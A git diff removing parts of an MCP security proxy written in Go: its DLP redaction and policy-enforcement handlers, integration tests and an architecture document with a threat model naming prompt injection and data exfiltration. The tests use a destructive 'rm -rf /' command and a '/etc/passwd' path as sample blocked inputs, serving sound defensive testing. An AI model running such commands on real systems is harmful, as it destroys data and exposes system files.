-// Downstream Handler (Server β†’ Client) - DLP INTERCEPTION POINT -// ----------------------------------------------------------------------------- - -// handleDownstream reads from subprocess stdout, applies DLP scanning, and -// forwards to our stdout. -// -// DLP (Data Loss Prevention) scanning inspects tool responses for sensitive -// information (PII, API keys, secrets) and redacts matches before the response -// reaches the client. This prevents accidental data exfiltration. -// -// Flow: -// 1. Read JSON-RPC message from subprocess stdout -// 2. Attempt to parse as JSON-RPC response -// 3. If valid JSON-RPC with result, scan content for sensitive data -// 4. Replace matches with [REDACTED:] -// 5. Log DLP events to audit trail -// 6. Forward (potentially modified) response to client stdout -// -// Robustness: If the tool outputs invalid JSON or non-JSON data (e.g., logs), -// we pass it through unchanged to avoid breaking the stream. -// -// This goroutine runs until the subprocess stdout is closed (subprocess exits). -func (p *Proxy) handleDownstream() { - defer p.wg.Done() - - // Use buffered reader for efficient reading - reader := bufio.NewReader(p.subStdout) - - for { - // Read line-by-line (JSON-RPC messages are newline-delimited) - line, err := reader.ReadBytes('\n') - if err != nil { - if err != io.EOF { - p.logger.Printf("Downstream read error: %v", err) - } - return - } - - if p.cfg.Verbose { - p.logger.Printf("← [downstream raw] %s", strings.TrimSpace(string(line))) - } - - // STREAM SAFETY: Filter non-JSON output (e.g. server logs) to stderr - // JSON-RPC messages must start with '{' - trimmed := strings.TrimSpace(string(line)) - if len(trimmed) > 0 && !strings.HasPrefix(trimmed, "{") { - p.logger.Printf("[subprocess stdout] %s", trimmed) - continue - } - - // Apply DLP scanning if enabled - outputLine := line - if p.dlpScanner != nil && p.dlpScanner.IsEnabled() { - outputLine = p.applyDLP(line) - } - - // Write to stdout (use mutex to prevent interleaving with upstream errors) - p.mu.Lock() - _, writeErr := os.Stdout.Write(outputLine) - p.mu.Unlock() - - if writeErr != nil { - p.logger.Printf("Downstream write error: %v", writeErr) - return - } - } -} - -// applyDLP scans a downstream JSON-RPC response for sensitive data and redacts. -// -// The function handles MCP tool call responses which have this structure: -// -// { -// "jsonrpc": "2.0", -// "id": 1, -// "result": { -// "content": [ -// {"type": "text", "text": "...potentially sensitive data..."} -// ] -// } -// } -// -// We scan and redact the "text" fields within content items. -// -// If the input is not valid JSON or not a response with result, we return -// it unchanged to avoid breaking the stream. -func (p *Proxy) applyDLP(line []byte) []byte { - // First, try to parse as generic JSON to check structure - var msg map[string]json.RawMessage - if err := json.Unmarshal(line, &msg); err != nil { - // Not valid JSON - pass through unchanged (might be log output) - if p.cfg.Verbose { - p.logger.Printf("DLP: Non-JSON output, passing through") - } - return line - } - - // Check if this is a JSON-RPC response with a result field - resultRaw, hasResult := msg["result"] - if !hasResult { - // No result field - might be an error response or notification, pass through - return line - } - - // Try to parse the result to find content - var result struct { - Content []struct { - Type string `json:"type"` - Text string `json:"text"` - } `json:"content"` - } - - if err := json.Unmarshal(resultRaw, &result); err != nil { - // Result is not in expected format - try full-string scan as fallback - return p.applyDLPFullScan(line) - } - - // No content array - try full-string scan - if len(result.Content) == 0 { - return p.applyDLPFullScan(line) - } - - // Scan each text field for sensitive data - anyRedacted := false - var allEvents []dlp.RedactionEvent - - for i := range result.Content { - if result.Content[i].Type == "text" || result.Content[i].Text != "" { - redacted, events := p.dlpScanner.Redact(result.Content[i].Text) - if len(events) > 0 { - anyRedacted = true - allEvents = append(allEvents, events...) - result.Content[i].Text = redacted - } - } - } - - if !anyRedacted { - // No redactions needed - return original line - return line - } - - // Log DLP events - for _, event := range allEvents { - p.logger.Printf("DLP_TRIGGERED: Rule %q matched %d time(s), redacted", - event.RuleName, event.MatchCount) - p.auditLogger.LogDLPEvent(event.RuleName, event.MatchCount) - } - - // Reconstruct the JSON-RPC response with redacted content - return p.reconstructResponse(line, result.Content) -} - -// applyDLPFullScan performs string-level DLP scan on the entire JSON line. -// Used as a fallback when the response doesn't match expected MCP structure. -func (p *Proxy) applyDLPFullScan(line []byte) []byte { - redacted, events := p.dlpScanner.Redact(string(line)) - if len(events) == 0 { - return line - } - - // Log DLP events - for _, event := range events { - p.logger.Printf("DLP_TRIGGERED (full-scan): Rule %q matched %d time(s), redacted", - event.RuleName, event.MatchCount) - p.auditLogger.LogDLPEvent(event.RuleName, event.MatchCount) - } - - // Ensure we maintain the newline delimiter - output := []byte(redacted) - if len(output) > 0 && output[len(output)-1] != '\n' { - output = append(output, '\n') - } - return output -} - -// reconstructResponse rebuilds the JSON-RPC response with redacted content. -func (p *Proxy) reconstructResponse(originalLine []byte, redactedContent []struct { - Type string `json:"type"` - Text string `json:"text"` -}) []byte { - // Parse the original message to preserve all fields - var msg map[string]json.RawMessage - if err := json.Unmarshal(originalLine, &msg); err != nil { - // Should not happen since we already validated, but be safe - return originalLine - } - - // Parse and update the result - var result map[string]json.RawMessage - if err := json.Unmarshal(msg["result"], &result); err != nil { - return originalLine - } - - // Re-encode the redacted content - contentJSON, err := json.Marshal(redactedContent) - if err != nil { - return originalLine - } - result["content"] = contentJSON - - // Re-encode the result - resultJSON, err := json.Marshal(result) - if err != nil { - return originalLine - } - msg["result"] = resultJSON - - // Re-encode the full message - outputJSON, err := json.Marshal(msg) - if err != nil { - return originalLine - } - - // Append newline delimiter - return append(outputJSON, '\n') -} - -// ----------------------------------------------------------------------------- -// Upstream Handler (Client β†’ Server) - THE POLICY ENFORCEMENT POINT -// ----------------------------------------------------------------------------- - -// handleUpstream reads from stdin, applies policy checks, and either forwards -// to the subprocess or returns an error response. -// -// This is the critical "Man-in-the-Middle" interception point where policy -// enforcement happens. The flow is: -// -// 1. Read JSON-RPC message from stdin (client/agent) -// 2. Decode the message to inspect the method -// 3. If method is "tools/call": -// a. Extract the tool name from params -// b. Check engine.IsAllowed(toolName, args) -// c. Log the decision to audit file (NEVER stdout) -// d. If mode=ENFORCE AND violation: BLOCK (return error to stdout) -// e. If mode=MONITOR AND violation: ALLOW (forward) but log as dry-run block -// f. If no violation: ALLOW (forward) -// 4. For other methods: passthrough to subprocess -// -// CRITICAL STDOUT SAFETY: -// - ONLY JSON-RPC messages go to stdout (responses to client) -// - Audit logs go to FILE via auditLogger -// - Operational logs go to stderr via logger -// - NEVER use fmt.Println, log.Println, or similar that write to stdout -func (p *Proxy) handleUpstream() { - // defer p.wg.Done() // FIX: Don't wait for Upstream (prevents deadlock) - defer func() { _ = p.subStdin.Close() }() // Close subprocess stdin when we're done - - reader := bufio.NewReader(os.Stdin) - - for { - // Read a complete JSON-RPC message (newline-delimited) - line, err := reader.ReadBytes('\n') - if err != nil { - if err != io.EOF { - p.logger.Printf("Upstream read error: %v", err) - } - return - } - - if len(strings.TrimSpace(string(line))) == 0 { - continue // Skip empty lines - } - - // Attempt to decode as JSON-RPC request - var req protocol.Request - if err := json.Unmarshal(line, &req); err != nil { - // Not valid JSON-RPC; pass through anyway (might be a notification) - p.logger.Printf("Warning: failed to parse message: %v", err) - if _, err := p.subStdin.Write(line); err != nil { - p.logger.Printf("Upstream write error: %v", err) - return - } - continue - } - - if p.cfg.Verbose { - p.logger.Printf("β†’ [upstream] method=%s id=%s", req.Method, string(req.ID)) - } - - // FIRST LINE OF DEFENSE: Method-level policy check - // This prevents bypass attacks via uncontrolled MCP methods like - // resources/read, prompts/get, etc. - methodDecision := p.engine.IsMethodAllowed(req.Method) - if !methodDecision.Allowed { - p.logger.Printf("BLOCKED_METHOD: Method %q not allowed by policy (%s)", - req.Method, methodDecision.Reason) - p.auditLogger.LogMethodBlock(req.Method, methodDecision.Reason) - p.sendErrorResponse(protocol.NewMethodNotAllowedError(req.ID, req.Method)) - continue // Do not forward to subprocess - } - - // SECOND LINE OF DEFENSE: Tool-level policy check - // This applies to tools/call requests and validates tool names and arguments - if req.IsToolCall() { - toolName := req.GetToolName() - toolArgs := req.GetToolArgs() - p.logger.Printf("Tool call intercepted: %s", toolName) - - decision := p.engine.IsAllowed(toolName, toolArgs) - - // REDACTION: Sanitize arguments before audit logging - // Use deep scanning to catch secrets in nested structures like: - // {"config": {"aws": {"key": "AKIAIOSFODNN7EXAMPLE"}}} - // The shallow scan would miss this; RedactMap catches it. - var logArgs map[string]any - if p.dlpScanner != nil && p.dlpScanner.IsEnabled() { - var dlpEvents []dlp.RedactionEvent - logArgs, dlpEvents = p.dlpScanner.RedactMap(toolArgs) - // Log DLP events from argument scanning - for _, event := range dlpEvents { - p.logger.Printf("DLP_TRIGGERED (args): Rule %q matched %d time(s) in tool arguments", - event.RuleName, event.MatchCount) - } - } else { - // No DLP scanner - use original args (make a shallow copy for safety) - logArgs = make(map[string]any, len(toolArgs)) - for k, v := range toolArgs { - logArgs[k] = v - } - } - - // Handle Human-in-the-Loop (ASK) action first - if decision.Action == policy.ActionAsk { - p.logger.Printf("ASK: Requesting user approval for tool %q...", toolName) - - // Prompt user via native OS dialog - approved := p.prompter.AskUserContext(p.ctx, toolName, toolArgs) - - // Log the user's decision - if approved { - p.logger.Printf("ASK_APPROVED: User approved tool %q", toolName) - p.auditLogger.LogToolCall( - toolName, - logArgs, // Use redacted args - audit.DecisionAllow, - false, // Not a violation - user explicitly approved - "", - "", - ) - // Fall through to forward the request - } else { - p.logger.Printf("ASK_DENIED: User denied tool %q (or timeout)", toolName) - p.auditLogger.LogToolCall( - toolName, - logArgs, // Use redacted args - audit.DecisionBlock, - true, // Treat as violation for audit purposes - "", - "", - ) - p.sendErrorResponse(protocol.NewUserDeniedError(req.ID, toolName)) - continue // Do not forward to subprocess - } - } else { - // Standard policy decision (not ASK) - - // Determine audit decision type for logging - var auditDecision audit.Decision - if !decision.ViolationDetected { - auditDecision = audit.DecisionAllow - } else if decision.Allowed { - // Violation detected but allowed through = monitor mode - auditDecision = audit.DecisionAllowMonitor - } else { - auditDecision = audit.DecisionBlock - } - - // Log to audit file (NEVER to stdout) - p.auditLogger.LogToolCall( - toolName, - logArgs, // Use redacted args - auditDecision, - decision.ViolationDetected, - decision.FailedArg, - decision.FailedRule, - ) - - // Handle the decision based on mode - if !decision.Allowed { - // Check for rate limiting first - if decision.Action == policy.ActionRateLimited { - p.logger.Printf("RATE_LIMITED: Tool %q exceeded rate limit", toolName) - p.auditLogger.LogToolCall( - toolName, - logArgs, // Use redacted args - audit.DecisionRateLimited, - true, - "", - "", - ) - p.sendErrorResponse(protocol.NewRateLimitedError(req.ID, toolName)) - continue // Do not forward to subprocess - } - // Check for protected path access (security-critical event) - if decision.Action == policy.ActionProtectedPath { - p.logger.Printf("BLOCKED_PROTECTED_PATH: Tool %q attempted to access protected path %q", - toolName, decision.ProtectedPath) - // Log to audit with dedicated method for forensic analysis - p.auditLogger.LogProtectedPathBlock(toolName, decision.ProtectedPath, logArgs) - p.sendErrorResponse(protocol.NewProtectedPathError(req.ID, toolName, decision.ProtectedPath)) - continue // Do not forward to subprocess - } - // BLOCKED (enforce mode with violation) - if decision.FailedArg != "" { - p.logger.Printf("BLOCKED: Tool %q argument %q failed validation (pattern: %s)", - toolName, decision.FailedArg, decision.FailedRule) - p.sendErrorResponse(protocol.NewArgumentError(req.ID, toolName, decision.FailedArg, decision.FailedRule)) - } else { - p.logger.Printf("BLOCKED: Tool %q not allowed by policy", toolName) - p.sendErrorResponse(protocol.NewForbiddenError(req.ID, toolName)) - } - continue // Do not forward to subprocess - } - - // Request is allowed (either no violation, or monitor mode) - if decision.ViolationDetected { - // MONITOR MODE: Violation detected but allowing through (dry run) - p.logger.Printf("ALLOW_MONITOR (dry-run): Tool %q would be blocked, reason: %s", - toolName, decision.Reason) - } else { - // Clean allow, no violation - p.logger.Printf("ALLOWED: Tool %q permitted by policy", toolName) - } - } - } - - // Forward the message to subprocess stdin - if _, err := p.subStdin.Write(line); err != nil { - p.logger.Printf("Upstream write error: %v", err) - return - } - } -} - -// sendErrorResponse marshals and writes a JSON-RPC error response to stdout. -// -// This is used to respond to blocked tool calls without involving the subprocess. -// The response is written directly to our stdout (back to the client). -func (p *Proxy) sendErrorResponse(resp *protocol.Response) { - data, err := json.Marshal(resp) - if err != nil { - p.logger.Printf("Failed to marshal error response: %v", err) - return - } - - // Add newline for JSON-RPC message delimiter - data = append(data, '\n') - - // Use mutex to prevent interleaving with downstream messages - p.mu.Lock() - defer p.mu.Unlock() - - if _, err := os.Stdout.Write(data); err != nil { - p.logger.Printf("Failed to write error response: %v", err) - } -} diff --git a/implementations/go-proxy/cmd/aip-proxy/main_test.go b/implementations/go-proxy/cmd/aip-proxy/main_test.go deleted file mode 100644 index 029044f..0000000 --- a/implementations/go-proxy/cmd/aip-proxy/main_test.go +++ /dev/null @@ -1,313 +0,0 @@ -// Package main tests for the AIP proxy. -// -// These tests verify the integration between the proxy, policy engine, -// and audit logger, particularly around monitor mode behavior. -package main - -import ( - "encoding/json" - "os" - "path/filepath" - "strings" - "testing" - - "github.com/ArangoGutierrez/agent-identity-protocol/implementations/go-proxy/pkg/audit" - "github.com/ArangoGutierrez/agent-identity-protocol/implementations/go-proxy/pkg/policy" - "github.com/ArangoGutierrez/agent-identity-protocol/implementations/go-proxy/pkg/protocol" -) - -// TestMonitorModeIntegration tests the full integration of monitor mode: -// 1. Configure policy in monitor mode -// 2. Send a "blocked" request (e.g., dangerous_tool) -// 3. Assert request would be PASSED to child process -// 4. Assert audit log contains decision: "ALLOW_MONITOR" and violation: true -func TestMonitorModeIntegration(t *testing.T) { - // Setup: Create temp directory for audit log - tmpDir := t.TempDir() - auditPath := filepath.Join(tmpDir, "test-audit.jsonl") - - // Step 1: Configure policy in monitor mode - policyYAML := ` -apiVersion: aip.io/v1alpha1 -kind: AgentPolicy -metadata: - name: monitor-integration-test -spec: - mode: monitor - allowed_tools: - - safe_tool -` - - // Load policy - engine := policy.NewEngine() - if err := engine.Load([]byte(policyYAML)); err != nil { - t.Fatalf("Failed to load policy: %v", err) - } - - // Verify monitor mode is active - if !engine.IsMonitorMode() { - t.Fatal("Expected monitor mode to be active") - } - - // Create audit logger - auditLogger, err := audit.NewLogger(&audit.Config{ - FilePath: auditPath, - Mode: audit.PolicyModeMonitor, - }) - if err != nil { - t.Fatalf("Failed to create audit logger: %v", err) - } - - // Step 2: Simulate sending a "blocked" request - // In a real proxy, this would be a tools/call for dangerous_tool - toolName := "dangerous_tool" - toolArgs := map[string]any{"command": "rm -rf /"} - - // Check policy decision - decision := engine.IsAllowed(toolName, toolArgs) - - // Step 3: Assert request would be PASSED (Allowed=true in monitor mode) - if !decision.Allowed { - t.Errorf("In monitor mode, request should be allowed; got Allowed=%v", decision.Allowed) - } - - // Verify violation was detected - if !decision.ViolationDetected { - t.Error("ViolationDetected should be true for blocked tool") - } - - // Determine audit decision type - var auditDecision audit.Decision - if !decision.ViolationDetected { - auditDecision = audit.DecisionAllow - } else if decision.Allowed { - auditDecision = audit.DecisionAllowMonitor - } else { - auditDecision = audit.DecisionBlock - } - - // Log the decision - auditLogger.LogToolCall( - toolName, - toolArgs, - auditDecision, - decision.ViolationDetected, - decision.FailedArg, - decision.FailedRule, - ) - - // Close logger to flush - if err := auditLogger.Close(); err != nil { - t.Fatalf("Failed to close audit logger: %v", err) - } - - // Step 4: Read and verify audit log - data, err := os.ReadFile(auditPath) - if err != nil { - t.Fatalf("Failed to read audit log: %v", err) - } - - // Parse the log line - lines := strings.Split(strings.TrimSpace(string(data)), "\n") - if len(lines) < 1 { - t.Fatal("Expected at least 1 log line in audit file") - } - - var logEntry map[string]any - if err := json.Unmarshal([]byte(lines[len(lines)-1]), &logEntry); err != nil { - t.Fatalf("Failed to parse log line: %v", err) - } - - // Verify decision is ALLOW_MONITOR - if logEntry["decision"] != string(audit.DecisionAllowMonitor) { - t.Errorf("decision = %v, want %v", logEntry["decision"], audit.DecisionAllowMonitor) - } - - // Verify violation is true - if logEntry["violation"] != true { - t.Errorf("violation = %v, want true", logEntry["violation"]) - } - - // Verify tool name - if logEntry["tool"] != "dangerous_tool" { - t.Errorf("tool = %v, want dangerous_tool", logEntry["tool"]) - } -} - -// TestEnforceModeBlocksRequest tests that enforce mode properly blocks requests. -func TestEnforceModeBlocksRequest(t *testing.T) { - tmpDir := t.TempDir() - auditPath := filepath.Join(tmpDir, "test-audit.jsonl") - - policyYAML := ` -apiVersion: aip.io/v1alpha1 -kind: AgentPolicy -metadata: - name: enforce-integration-test -spec: - mode: enforce - allowed_tools: - - safe_tool -` - - engine := policy.NewEngine() - if err := engine.Load([]byte(policyYAML)); err != nil { - t.Fatalf("Failed to load policy: %v", err) - } - - auditLogger, err := audit.NewLogger(&audit.Config{ - FilePath: auditPath, - Mode: audit.PolicyModeEnforce, - }) - if err != nil { - t.Fatalf("Failed to create audit logger: %v", err) - } - - // Try to use a blocked tool - decision := engine.IsAllowed("dangerous_tool", nil) - - // In enforce mode, should be blocked - if decision.Allowed { - t.Error("In enforce mode, dangerous_tool should be blocked") - } - if !decision.ViolationDetected { - t.Error("ViolationDetected should be true") - } - - // Log the block - auditLogger.LogToolCall("dangerous_tool", nil, audit.DecisionBlock, true, "", "") - _ = auditLogger.Close() - - // Verify audit log - data, err := os.ReadFile(auditPath) - if err != nil { - t.Fatalf("Failed to read audit log: %v", err) - } - - if !strings.Contains(string(data), "BLOCK") { - t.Error("Audit log should contain BLOCK decision") - } -} - -// TestStdoutSafetyVerification documents and verifies stdout safety. -// -// CRITICAL: This test serves as documentation that stdout is NEVER used for logs. -// The JSON-RPC protocol requires stdout to be clean for transport. -// -// Verification checklist: -// - [x] audit.Logger writes to FILE only, rejects stdout paths -// - [x] main.go uses log.New(os.Stderr, ...) for operational logs -// - [x] handleUpstream only writes JSON-RPC responses to stdout via p.sendErrorResponse -// - [x] handleDownstream passthrough is the only other stdout writer -// - [x] Comments throughout codebase document this requirement -func TestStdoutSafetyVerification(t *testing.T) { - // Test 1: Audit logger rejects stdout paths - stdoutPaths := []string{"/dev/stdout", "/dev/fd/1", "/proc/self/fd/1"} - for _, path := range stdoutPaths { - _, err := audit.NewLogger(&audit.Config{FilePath: path}) - if err == nil { - t.Errorf("Audit logger should reject stdout path %q", path) - } - } - - // Test 2: Verify protocol types only write proper JSON-RPC - // (sendErrorResponse outputs valid JSON-RPC error responses) - resp := protocol.NewForbiddenError([]byte(`1`), "test_tool") - data, err := json.Marshal(resp) - if err != nil { - t.Fatalf("Failed to marshal response: %v", err) - } - - // Should be valid JSON - var parsed map[string]any - if err := json.Unmarshal(data, &parsed); err != nil { - t.Fatalf("Response is not valid JSON: %v", err) - } - - // Should have jsonrpc field - if parsed["jsonrpc"] != "2.0" { - t.Error("Response missing jsonrpc: 2.0 field") - } - - t.Log("Stdout safety verification passed:") - t.Log(" - Audit logger rejects stdout paths") - t.Log(" - JSON-RPC responses are valid JSON") - t.Log(" - See code comments for full documentation") -} - -// TestAuditLogFormat verifies the audit log format matches the spec. -func TestAuditLogFormat(t *testing.T) { - tmpDir := t.TempDir() - auditPath := filepath.Join(tmpDir, "test-audit.jsonl") - - logger, err := audit.NewLogger(&audit.Config{ - FilePath: auditPath, - Mode: audit.PolicyModeMonitor, - }) - if err != nil { - t.Fatalf("NewLogger() error = %v", err) - } - - // Log with all fields populated - logger.Log(&audit.Entry{ - Direction: audit.DirectionUpstream, - Method: "tools/call", - Tool: "delete_file", - Args: map[string]any{"path": "/etc/passwd"}, - Decision: audit.DecisionBlock, - PolicyMode: audit.PolicyModeEnforce, - Violation: true, - FailedArg: "path", - FailedRule: "^/home/.*", - PolicyName: "test-policy", - RequestID: "req-123", - ErrorReason: "path outside allowed directory", - }) - - _ = logger.Close() - - // Read and verify all fields - data, err := os.ReadFile(auditPath) - if err != nil { - t.Fatalf("ReadFile() error = %v", err) - } - - lines := strings.Split(strings.TrimSpace(string(data)), "\n") - if len(lines) < 1 { - t.Fatal("Expected log entry") - } - - var entry map[string]any - if err := json.Unmarshal([]byte(lines[len(lines)-1]), &entry); err != nil { - t.Fatalf("JSON parse error: %v", err) - } - - // Verify required fields from spec - requiredFields := []string{ - "timestamp", - "direction", - "tool", - "decision", - "policy_mode", - } - - for _, field := range requiredFields { - if _, ok := entry[field]; !ok { - t.Errorf("Missing required field: %s", field) - } - } - - // Verify values - if entry["direction"] != "upstream" { - t.Errorf("direction = %v, want upstream", entry["direction"]) - } - if entry["tool"] != "delete_file" { - t.Errorf("tool = %v, want delete_file", entry["tool"]) - } - if entry["decision"] != "BLOCK" { - t.Errorf("decision = %v, want BLOCK", entry["decision"]) - } - if entry["policy_mode"] != "enforce" { - t.Errorf("policy_mode = %v, want enforce", entry["policy_mode"]) - } -} diff --git a/implementations/go-proxy/docs/architecture.md b/implementations/go-proxy/docs/architecture.md deleted file mode 100644 index d585209..0000000 --- a/implementations/go-proxy/docs/architecture.md +++ /dev/null @@ -1,338 +0,0 @@ -# AIP Architecture - -This document provides a deep dive into the Agent Identity Protocol's architecture, design decisions, and security model. - -## Table of Contents - -- [Overview](#overview) -- [Core Components](#core-components) -- [Data Flow](#data-flow) -- [Security Model](#security-model) -- [Policy Engine](#policy-engine) -- [Human-in-the-Loop](#human-in-the-loop) -- [DLP (Data Loss Prevention)](#dlp-data-loss-prevention) -- [Audit System](#audit-system) -- [Design Decisions](#design-decisions) - -## Overview - -AIP is a **Man-in-the-Middle (MitM) security proxy** for the Model Context Protocol (MCP). It intercepts tool calls between AI agents and tool servers, enforcing security policies before allowing requests to proceed. - -``` -β”Œβ”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β” -β”‚ TRUST BOUNDARY β”‚ -β”‚ β”Œβ”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β” β”Œβ”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β” β”Œβ”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β” β”Œβ”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β” β”‚ -β”‚ β”‚ β”‚ β”‚ β”‚ β”‚ β”‚ β”‚ β”‚ β”‚ -β”‚ β”‚ Agent │───▢│ AIP Proxy │───▢│ Policy Check │───▢│ Real Tool β”‚ β”‚ -β”‚ β”‚ (LLM) β”‚ β”‚ (Sidecar) β”‚ β”‚ (agent.yaml) β”‚ β”‚ (GitHub) β”‚ β”‚ -β”‚ β”‚ │◀───│ │◀───│ │◀───│ β”‚ β”‚ -β”‚ β””β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”˜ β””β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”˜ β””β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”˜ β””β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”˜ β”‚ -β”‚ β”‚ β”‚ β”‚ -β”‚ β–Ό β–Ό β”‚ -β”‚ β”Œβ”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β” β”Œβ”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β” β”‚ -β”‚ β”‚ Audit Log β”‚ β”‚ DLP β”‚ β”‚ -β”‚ β”‚ (immutable) β”‚ β”‚ Scanner β”‚ β”‚ -β”‚ β””β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”˜ β””β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”˜ β”‚ -β””β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”˜ -``` - -## Core Components - -### 1. Proxy Core (`cmd/aip-proxy/main.go`) - -The main entry point that: -- Parses CLI flags and loads configuration -- Spawns the target MCP server as a subprocess -- Creates bidirectional pipes for stdin/stdout interception -- Manages graceful shutdown via signal handling - -**Key principle**: stdout is sacred. Only JSON-RPC messages go to stdout. All operational logs go to stderr, audit logs go to a file. - -### 2. Policy Engine (`pkg/policy/engine.go`) - -Loads and evaluates YAML policy files. Supports: - -| Feature | Description | -|---------|-------------| -| `allowed_tools` | Allowlist of permitted tool names | -| `tool_rules` | Fine-grained rules per tool with actions | -| `action: allow` | Permit the tool call | -| `action: block` | Deny unconditionally | -| `action: ask` | Prompt user for approval | -| `allow_args` | Regex validation of tool arguments | -| `rate_limit` | Per-tool rate limiting | -| `mode: monitor` | Log violations but don't block | - -### 3. Protocol Types (`pkg/protocol/types.go`) - -JSON-RPC 2.0 message types for MCP communication: - -```go -type Request struct { - JSONRPC string `json:"jsonrpc"` - Method string `json:"method"` - Params json.RawMessage `json:"params,omitempty"` - ID json.RawMessage `json:"id,omitempty"` -} -``` - -### 4. DLP Scanner (`pkg/dlp/scanner.go`) - -Scans tool responses for sensitive data using configurable regex patterns. Redacts matches before forwarding to the agent. - -### 5. Audit Logger (`pkg/audit/logger.go`) - -Writes structured JSONL logs for every policy decision. Supports both enforce and monitor mode logging. - -### 6. UI Prompter (`pkg/ui/prompt.go`) - -Native OS dialogs for Human-in-the-Loop approval. Uses `osascript` on macOS, `zenity`/`kdialog` on Linux. - -## Data Flow - -### Upstream Flow (Client β†’ Server) - -``` -1. Agent sends JSON-RPC request to stdin -2. Proxy reads and parses the message -3. If method == "tools/call": - a. Extract tool name and arguments - b. Evaluate policy: engine.IsAllowed(tool, args) - c. If action == "ask": prompt user via OS dialog - d. Log decision to audit file - e. If BLOCKED: return JSON-RPC error to stdout - f. If ALLOWED: forward to subprocess stdin -4. For other methods: passthrough to subprocess -``` - -### Downstream Flow (Server β†’ Client) - -``` -1. Subprocess writes JSON-RPC response to stdout -2. Proxy reads the response -3. If DLP is enabled: - a. Parse response to find content fields - b. Scan for sensitive data patterns - c. Replace matches with [REDACTED:] - d. Log redaction events -4. Forward (potentially modified) response to stdout -``` - -## Security Model - -### Threat Model - -AIP defends against: - -| Threat | Mitigation | -|--------|------------| -| **Indirect Prompt Injection** | Policy blocks unexpected tool calls | -| **Privilege Escalation** | Explicit allowlist; no implicit permissions | -| **Data Exfiltration** | DLP scans responses for secrets/PII | -| **Consent Fatigue** | Fine-grained policies replace broad OAuth scopes | -| **Shadow AI** | Audit trail captures all tool usage | - -### Security Properties - -1. **Fail-Closed**: Unknown tools are denied by default -2. **Zero-Trust**: Every `tools/call` is checked; no implicit permissions -3. **Least Privilege**: Agents start with zero capabilities -4. **Defense in Depth**: Multiple layers (policy, DLP, audit, human approval) -5. **Immutable Audit**: Log file is append-only from agent's perspective - -### Trust Boundaries - -``` -β”Œβ”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β” -β”‚ UNTRUSTED ZONE (Agent) β”‚ -β”‚ - LLM with unpredictable behavior β”‚ -β”‚ - Potentially manipulated by prompt inject β”‚ -β””β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”˜ - β”‚ - β–Ό stdin -β”Œβ”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β” -β”‚ TRUST BOUNDARY (AIP Proxy) β”‚ -β”‚ - Policy enforcement β”‚ -β”‚ - Audit logging β”‚ -β”‚ - Human approval gates β”‚ -β””β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”˜ - β”‚ - β–Ό subprocess stdin -β”Œβ”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β” -β”‚ TRUSTED ZONE (Tool Server) β”‚ -β”‚ - Executes only policy-approved calls β”‚ -β”‚ - Responses scanned by DLP β”‚ -β””β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”˜ -``` - -## Policy Engine - -### Evaluation Order - -``` -1. Check tool_rules for explicit block β†’ DENY -2. Check tool_rules for action=ask β†’ PROMPT USER -3. Check allowed_tools allowlist β†’ DENY if not present -4. Check allow_args regex patterns β†’ DENY if validation fails -5. Check rate_limit β†’ DENY if exceeded -6. ALLOW -``` - -### Monitor Mode - -When `spec.mode: monitor`: -- Policy is evaluated normally -- Violations are logged with `decision: ALLOW_MONITOR` -- Requests are forwarded anyway (dry-run) -- Use for testing policies before enforcement 